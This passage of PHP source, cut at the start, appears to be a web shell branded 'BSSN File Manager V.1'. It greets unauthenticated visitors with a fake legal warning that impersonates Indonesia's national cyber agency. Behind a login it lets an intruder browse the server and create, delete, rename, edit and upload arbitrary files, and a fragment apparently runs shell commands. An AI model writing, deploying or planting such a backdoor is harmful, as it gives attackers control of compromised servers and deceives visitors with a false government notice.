';
}
}
// Proses logout
if (isset($_POST['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) {
echo '
โข๐๐ฆ๐ฆ๐กโข | BADAN SIBER DAN SANDI NEGARA
Area berkas rahasia negara Anda telah melanggar hukum berdasarkan
Pasal 30 ayat (3) Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan
Transaksi Elektronik (UU ITE).
Tindakan yang dilakukan, sengaja maupun tidak sengaja, dengan menerobos
hingga menjebol sistem pengaman suatu sistem elektronik merupakan
perbuatan yang dilarang.
Melalui Pasal 46 ayat (3) dan Pasal 52 ayat (3) UU ITE, silakan
meninggalkan halaman ini segera.
';
exit;
}
?>
&1');
}
// CREATE FOLDER
if (isset($_POST['newfolder']) && trim($_POST['newfolder']) !== '') {
$folderName = safeName(trim($_POST['newfolder']));
if ($folderName && !file_exists("$dir/$folderName")) {
if (@mkdir("$dir/$folderName")) {
$message = "Folder '$folderName' berhasil dibuat.";
} else {
$message = "Gagal membuat folder '$folderName'.";
}
} else {
$message = "Nama folder tidak valid atau sudah ada.";
}
}
// CREATE FILE
if (isset($_POST['newfile']) && trim($_POST['newfile']) !== '') {
$fileName = safeName(trim($_POST['newfile']));
$filePath = "$dir/$fileName";
if ($fileName && !file_exists($filePath)) {
if (file_put_contents($filePath, "") !== false) {
$message = "File '$fileName' berhasil dibuat.";
} else {
$message = "Gagal membuat file '$fileName'.";
}
} else {
$message = "Nama file tidak valid atau sudah ada.";
}
}
// DELETE FILE/FOLDER
if (isset($_GET['delete'])) {
$deleteName = safeName($_GET['delete']);
$deletePath = "$dir/$deleteName";
if (file_exists($deletePath)) {
if (is_dir($deletePath)) {
if (@rmdir($deletePath)) {
$message = "Folder '$deleteName' berhasil dihapus.";
} else {
$message = "Folder '$deleteName' tidak kosong atau gagal dihapus.";
}
} else {
if (@unlink($deletePath)) {
$message = "File '$deleteName' berhasil dihapus.";
} else {
$message = "Gagal menghapus file '$deleteName'.";
}
}
} else {
$message = "File/folder tidak ditemukan.";
}
}
// RENAME FILE/FOLDER
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
$oldName = safeName($_POST['rename_old']);
$newName = safeName($_POST['rename_new']);
$oldPath = "$dir/$oldName";
$newPath = "$dir/$newName";
if ($oldName && $newName && file_exists($oldPath) && !file_exists($newPath)) {
if (@rename($oldPath, $newPath)) {
$message = "Berhasil rename '$oldName' menjadi '$newName'.";
} else {
$message = "Gagal rename.";
}
} else {
$message = "Nama baru sudah ada, tidak valid, atau file lama tidak ditemukan.";
}
}
// EDIT FILE - Simpan perubahan
if (isset($_POST['edit_file']) && isset($_POST['edit_content'])) {
$editFile = safeName($_POST['edit_file']);
$editPath = "$dir/$editFile";
if (file_exists($editPath) && is_file($editPath)) {
if (file_put_contents($editPath, $_POST['edit_content']) !== false) {
$message = "File '$editFile' berhasil disimpan.";
} else {
$message = "Gagal menyimpan file.";
}
} else {
$message = "File tidak ditemukan.";
}
}
// UPLOAD FILE
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
$uploadName = basename($_FILES['upload_file']['name']);
$uploadName = safeName($uploadName);
$uploadPath = "$dir/$uploadName";
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploadPath)) {
$message = "File '$uploadName' berhasil diupload ke folder saat ini.";
} else {
$message = "Gagal upload file.";
}
}
// Jika ingin edit, ambil isi file dulu
$editFile = null;
$editContent = '';
if (isset($_GET['edit'])) {
$editFile = safeName($_GET['edit']);
$editPath = "$dir/$editFile";
if (file_exists($editPath) && is_file($editPath)) {
$editContent = file_get_contents($editPath);
} else {
$editFile = null;
$message = "File untuk diedit tidak ditemukan.";
}
}
$files = scandir($dir);
$parentDir = dirname($dir);
// Fungsi buat breadcrumb
function makeBreadcrumb($dir) {
$parts = explode(DIRECTORY_SEPARATOR, $dir);
$path = '';
$breadcrumbs = [];
if (DIRECTORY_SEPARATOR === '\\') {
$drive = array_shift($parts);
$path = $drive . DIRECTORY_SEPARATOR;
$breadcrumbs[] = ['name' => $drive, 'path' => $path];
} else {
$breadcrumbs[] = ['name' => '/', 'path' => DIRECTORY_SEPARATOR];
}
foreach ($parts as $part) {
if ($part === '') continue;
$path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $part;
$breadcrumbs[] = ['name' => $part, 'path' => $path];
}
return $breadcrumbs;
}
?>
BSSN File Manager V.1